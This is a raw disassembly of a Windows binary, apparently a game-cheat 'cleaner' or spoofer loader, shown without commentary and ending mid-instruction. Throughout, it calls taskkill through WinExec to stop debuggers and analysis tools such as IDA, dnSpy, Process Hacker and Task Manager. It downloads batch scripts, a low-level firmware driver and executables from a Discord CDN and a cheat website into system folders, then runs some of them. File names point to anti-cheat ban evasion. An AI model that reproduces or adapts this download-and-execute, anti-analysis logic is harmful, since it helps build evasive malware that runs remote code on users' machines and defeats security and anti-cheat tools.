call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rsp + 0xd270]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd290]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd2b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc270]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd2d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd2f0]
call fcn.14005d8e0
call fcn.1400f6410
mov r8b, 1
mov edx, 4
lea rcx, str.__Clean_Traces
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea8]
lea rcx, [rsp + 0x4a0]
call fcn.14005eef0
lea rdx, [rsp + 0x4a0]
lea rcx, str.Cleaner
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140077f4d
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1144713674049736754_cleanerrandom.bat
lea rcx, [rsp + 0xd730]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
lea rcx, [rsp + 0xd710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd710]
call fcn.14005d8d0
mov qword [rsp + 0x4a8], rax
lea rcx, [rsp + 0xd730]
call fcn.14005d8d0
mov qword [rsp + 0x4b0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4a8]
mov rdx, qword [rsp + 0x4b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1139053637033803787_1144713673730961598_cleanerrandom2.bat
lea rcx, [rsp + 0xd6f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
lea rcx, [rsp + 0xd6d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd6d0]
call fcn.14005d8d0
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0xd6f0]
call fcn.14005d8d0
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4b8]
mov rdx, qword [rsp + 0x4c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIFLDRV64.SYS
lea rcx, [rsp + 0xd6b0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIFLDRV64.SYS
lea rcx, [rsp + 0xd690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd690]
call fcn.14005d8d0
mov qword [rsp + 0x4c8], rax
lea rcx, [rsp + 0xd6b0]
call fcn.14005d8d0
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4c8]
mov rdx, qword [rsp + 0x4d0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIDEWINx64.EXE
lea rcx, [rsp + 0xd670]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIDEWINx64.EXE
lea rcx, [rsp + 0xd650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd650]
call fcn.14005d8d0
mov qword [rsp + 0x4d8], rax
lea rcx, [rsp + 0xd670]
call fcn.14005d8d0
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4d8]
mov rdx, qword [rsp + 0x4e0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_volumeid64.exe
lea rcx, [rsp + 0xd630]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_volumeid64.exe
lea rcx, [rsp + 0xd610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd610]
call fcn.14005d8d0
mov qword [rsp + 0x4e8], rax
lea rcx, [rsp + 0xd630]
call fcn.14005d8d0
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4e8]
mov rdx, qword [rsp + 0x4f0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_pngbypas.bat
lea rcx, [rsp + 0xd5f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
lea rcx, [rsp + 0xd5d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd5d0]
call fcn.14005d8d0
mov qword [rsp + 0x4f8], rax
lea rcx, [rsp + 0xd5f0]
call fcn.14005d8d0
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x4f8]
mov rdx, qword [rsp + 0x500]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_deeepcleanwifisystem.bat
lea rcx, [rsp + 0xd5b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
lea rcx, [rsp + 0xd590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd590]
call fcn.14005d8d0
mov qword [rsp + 0x508], rax
lea rcx, [rsp + 0xd5b0]
call fcn.14005d8d0
mov qword [rsp + 0x510], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x508]
mov rdx, qword [rsp + 0x510]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_eacunban.bat
lea rcx, [rsp + 0xd570]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
lea rcx, [rsp + 0xd550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd550]
call fcn.14005d8d0
mov qword [rsp + 0x518], rax
lea rcx, [rsp + 0xd570]
call fcn.14005d8d0
mov qword [rsp + 0x520], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x520]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_FIVE_M.bat
lea rcx, [rsp + 0xd530]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
lea rcx, [rsp + 0xd510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd510]
call fcn.14005d8d0
mov qword [rsp + 0x528], rax
lea rcx, [rsp + 0xd530]
call fcn.14005d8d0
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x528]
mov rdx, qword [rsp + 0x530]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_DISCORDVERSION_DISCORDVERSION.bat
lea rcx, [rsp + 0xd4f0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
lea rcx, [rsp + 0xd4d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd4d0]
call fcn.14005d8d0
mov qword [rsp + 0x538], rax
lea rcx, [rsp + 0xd4f0]
call fcn.14005d8d0
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x538]
mov rdx, qword [rsp + 0x540]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macandcountrystuff_BATTLENET.bat
lea rcx, [rsp + 0xd4b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
lea rcx, [rsp + 0xd490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd490]
call fcn.14005d8d0
mov qword [rsp + 0x548], rax
lea rcx, [rsp + 0xd4b0]
call fcn.14005d8d0
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x548]
mov rdx, qword [rsp + 0x550]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
